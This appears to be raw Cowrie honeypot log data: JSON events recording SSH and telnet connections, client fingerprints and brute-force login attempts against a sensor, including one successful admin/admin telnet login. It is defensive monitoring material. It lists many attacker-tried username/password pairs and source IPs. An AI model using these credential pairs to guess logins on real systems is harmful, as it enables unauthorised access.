{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:45.710410Z","src_ip":"200.90.8.86","session":"821a84cdbe4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"auser","password":"123456","message":"login attempt [auser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:45.922953Z","src_ip":"45.114.124.44","session":"723676c825c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Admin@123","message":"login attempt [user/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:46.153214Z","src_ip":"200.90.8.86","session":"821a84cdbe4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:47.144860Z","src_ip":"45.114.124.44","session":"723676c825c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:47.258279Z","src_ip":"200.90.8.86","session":"821a84cdbe4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":60808,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b701ee6e9e5","protocol":"ssh","message":"New connection: 210.90.155.178:60808 (159.203.135.109:22) [session: 7b701ee6e9e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:47.940212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:47.944925Z","src_ip":"210.90.155.178","session":"7b701ee6e9e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:48.141848Z","src_ip":"210.90.155.178","session":"7b701ee6e9e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:48.973703Z","src_ip":"210.90.155.178","session":"7b701ee6e9e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:50.174069Z","src_ip":"210.90.155.178","session":"7b701ee6e9e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00451016426086,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:54.024571Z","src_ip":"79.139.59.21","session":"9832f15bc75b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":46740,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ce8cf4806f7","protocol":"ssh","message":"New connection: 51.250.105.222:46740 (10.17.0.5:22) [session: 5ce8cf4806f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:00.468981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:00.476033Z","src_ip":"51.250.105.222","session":"5ce8cf4806f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:00.604580Z","src_ip":"51.250.105.222","session":"5ce8cf4806f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:00.984894Z","src_ip":"51.250.105.222","session":"5ce8cf4806f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:02.112596Z","src_ip":"51.250.105.222","session":"5ce8cf4806f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":51550,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6e5b34fcb22","protocol":"telnet","message":"New connection: 79.139.59.21:51550 (159.203.135.109:23) [session: e6e5b34fcb22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:02.485168Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":51684,"dst_ip":"159.203.135.109","dst_port":23,"session":"986ad1aec9ff","protocol":"telnet","message":"New connection: 79.139.59.21:51684 (159.203.135.109:23) [session: 986ad1aec9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:04.493889Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":57148,"dst_ip":"10.17.0.5","dst_port":22,"session":"40d31bdd73b7","protocol":"ssh","message":"New connection: 103.149.28.157:57148 (10.17.0.5:22) [session: 40d31bdd73b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:08.895706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:08.901275Z","src_ip":"103.149.28.157","session":"40d31bdd73b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:09.158041Z","src_ip":"103.149.28.157","session":"40d31bdd73b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12021988","message":"login attempt [root/12021988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:09.915149Z","src_ip":"103.149.28.157","session":"40d31bdd73b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:11.172076Z","src_ip":"103.149.28.157","session":"40d31bdd73b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00503015518188,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:23.745414Z","src_ip":"191.0.122.57","session":"1d7ed09638e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":102.84887290000916,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:25.177508Z","src_ip":"165.22.57.101","session":"7ddd37212928","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.0.122.57","src_port":6973,"dst_ip":"159.203.135.109","dst_port":23,"session":"755e870aa42b","protocol":"telnet","message":"New connection: 191.0.122.57:6973 (159.203.135.109:23) [session: 755e870aa42b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:27.779677Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":34480,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c0a778e4dc0","protocol":"ssh","message":"New connection: 5.182.83.231:34480 (10.17.0.5:22) [session: 1c0a778e4dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:28.577988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:28.582181Z","src_ip":"5.182.83.231","session":"1c0a778e4dc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:28.702207Z","src_ip":"5.182.83.231","session":"1c0a778e4dc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:29.206000Z","src_ip":"5.182.83.231","session":"1c0a778e4dc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:30.327899Z","src_ip":"5.182.83.231","session":"1c0a778e4dc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":37915,"dst_ip":"10.17.0.5","dst_port":22,"session":"e60109448e0e","protocol":"ssh","message":"New connection: 220.247.224.226:37915 (10.17.0.5:22) [session: e60109448e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:31.151716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:31.156798Z","src_ip":"220.247.224.226","session":"e60109448e0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:31.385537Z","src_ip":"220.247.224.226","session":"e60109448e0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:32.278445Z","src_ip":"220.247.224.226","session":"e60109448e0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:33.510718Z","src_ip":"220.247.224.226","session":"e60109448e0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":14596,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0ab858a1b6d","protocol":"ssh","message":"New connection: 2.57.121.25:14596 (10.17.0.5:22) [session: d0ab858a1b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:37.481689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:37.487227Z","src_ip":"2.57.121.25","session":"d0ab858a1b6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:37.591846Z","src_ip":"2.57.121.25","session":"d0ab858a1b6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1256","message":"login attempt [user/1256] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:38.064904Z","src_ip":"2.57.121.25","session":"d0ab858a1b6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"124816","message":"login attempt [user/124816] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:39.169272Z","src_ip":"2.57.121.25","session":"d0ab858a1b6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456qq","message":"login attempt [user/123456qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:40.272424Z","src_ip":"2.57.121.25","session":"d0ab858a1b6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234432","message":"login attempt [user/1234432] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:41.375955Z","src_ip":"2.57.121.25","session":"d0ab858a1b6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123369","message":"login attempt [user/123369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:42.479653Z","src_ip":"2.57.121.25","session":"d0ab858a1b6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:43.583346Z","src_ip":"2.57.121.25","session":"d0ab858a1b6d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:46.948135Z","src_ip":"185.113.10.179","session":"f4c289c04500","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:46.990470Z","src_ip":"185.113.10.179","session":"f4c289c04500","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":33792,"dst_ip":"159.203.135.109","dst_port":22,"session":"d509bf634c7c","protocol":"ssh","message":"New connection: 103.148.100.146:33792 (159.203.135.109:22) [session: d509bf634c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:54.262225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:54.267561Z","src_ip":"103.148.100.146","session":"d509bf634c7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diff